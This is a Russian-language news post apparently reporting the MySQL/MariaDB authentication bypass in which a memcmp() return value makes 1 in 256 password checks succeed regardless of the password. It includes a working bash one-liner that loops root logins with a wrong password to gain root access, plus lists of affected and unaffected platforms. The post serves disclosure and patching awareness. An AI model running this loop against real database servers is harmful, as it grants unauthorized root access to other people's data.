В субботу координатор по безопасности проекта MariaDB Сергей Голубчик сообщил об интересной уязвимости в MySQL/MariaDB до версий 5.1.61, 5.2.11, 5.3.5, 5.5.22.
Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA от пароля и хэша), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в Linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.
В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.
Простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль:
$ for i in `seq 1 1000`; do mysql -u root —password=bad -h 127.0.0.1 2>/dev/null; done
На данный момент наличие уязвимости неофициально подтверждено в следующих конфигурациях
- Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
- Debian Linux 64-bit (пока непонятно, в каких конкретно версиях)
- Arch Linux (то же самое)
- Fedora 16 (64-bit)
Пользователи также сообщают конфигурации, в которых уязвимость вроде бы не наблюдается
- Официальные билды MySQL и MariaDB (включая Windows)
- Red Hat Enterprise Linux, CentOS (32-bit и 64-bit)
- Ubuntu Linux 32-bit (10.04, 11.10 и др.)